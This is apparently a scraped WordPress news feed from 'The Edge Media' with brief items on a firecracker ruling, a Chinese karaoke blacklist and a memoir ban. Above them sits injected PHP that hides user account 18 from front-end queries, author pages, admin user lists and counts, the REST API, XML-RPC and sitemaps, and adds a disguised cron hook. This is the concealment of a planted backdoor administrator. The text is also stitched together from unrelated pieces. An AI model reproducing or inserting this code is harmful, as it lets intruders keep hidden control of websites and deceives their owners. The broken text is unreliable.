add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>
Relying upon an order by the top court in another case involving firecrackers from Friday, the judges said, “There cannot be a complete ban of firecrackers. Strengthen the mechanism to stop misuse.” Supreme Court Justices AM Khanwilkar and Ajay Rastogi also asked the West Bengal government to look into the possibility of preventing banned firecrackers and related items from being imported into the state and stopping them at entry points.
The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>The post China to create a blacklist for karaoke songs, banning those that contain harmful content appeared first on The Edge Media.
]]>Interim regulations coming into effect from October 1 says the government will create a “blacklist” for karaoke songs and will ban them.
“China will create a blacklist for karaoke songs, banning those that contain harmful content at karaoke venues across the country,” the Chinese culture and tourism ministry announced.
The banned song list will also include songs that are against the country’s religious policies and spread thoughts about cults and superstitions.
On the list are songs containing content that endangers national unity, sovereignty, or territorial integrity; violates China’s religious policies and spreads cults and superstitions; and advocates obscenity, gambling, violence and drug-related crimes or instigating crimes,” according to a set of interim regulations issued by the ministry.
The regulations will take effect on October 1, 2021. The banned songs’ list is yet to be released.
Officially, China has nearly 50,000 entertainment venues such as karaoke bars, which have a basic music library of over 100,000 songs, the Xinhua report said.
The post China to create a blacklist for karaoke songs, banning those that contain harmful content appeared first on The Edge Media.
]]>The post Modi Govt. bans Retired IPS and IAS officers from writing memoirs. appeared first on The Edge Media.
]]>The post Modi Govt. bans Retired IPS and IAS officers from writing memoirs. appeared first on The Edge Media.
]]>